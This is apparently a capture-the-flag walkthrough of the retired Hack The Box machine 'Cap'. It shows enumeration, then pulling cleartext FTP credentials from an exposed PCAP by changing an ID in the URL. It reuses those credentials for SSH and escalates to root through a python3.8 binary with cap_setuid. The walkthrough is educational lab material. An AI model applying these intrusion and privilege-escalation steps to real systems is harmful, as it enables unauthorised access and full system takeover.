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Cap

This is the write-up for the box Cap that got retired at the 2nd October 2021. My IP address was 10.10.14.3 while I did this.

Let's put this in our hosts file:

10.10.10.245    cap.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/cap.nmap 10.10.10.245

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
(...)

Checking HTTP (Port 80)

The website shows a dashboard of security events, failed login attempts and port scans. There is a menu on the left side with different pages:

  • Security Snapshot (5 Second PCAP + Analysis)
    • The Download button offers a PCAP file
  • IP Config
    • Shows the output of the ifconfig command
  • Network Status
    • Shows the output of the netstat command

The PCAP file is on the path /data/1 and by testing other numbers, there seems to be another PCAP file on /data/0. In the file 0.pcap are credentials for the FTP service:

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
(...)

Checking FTP (Port 21)

Login to the FTP service with the found credentials:

ftp 10.10.10.245

The current directory is the home folder of the user nathan and it is possible to enumerate all directories on the box:

ftp> pwd
Remote directory: /home/nathan

ftp> cd /
250 Directory successfully changed.

This indicates that the password probably also works for the user to login via SSH:

ssh nathan@10.10.10.245

Privilege Escalation

The web application runs on Python Flask and in the code /var/www/html/app.py, the command variable sets the privileges to root before running tcpdump:

# (...)
# permissions issues with gunicorn and threads. hacky solution for now.

command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command
# (...)

The binary /usr/bin/python3.8 has the cap_setuid capability set:

getcap /usr/bin/python3*

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Executing the Python3.8 interpreter and setting the permissions to root:

/usr/bin/python3.8

>>> import os
>>> os.setuid(0)
>>> os.system('sh')

# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

After setting the permission, it is possible to start a shell as root!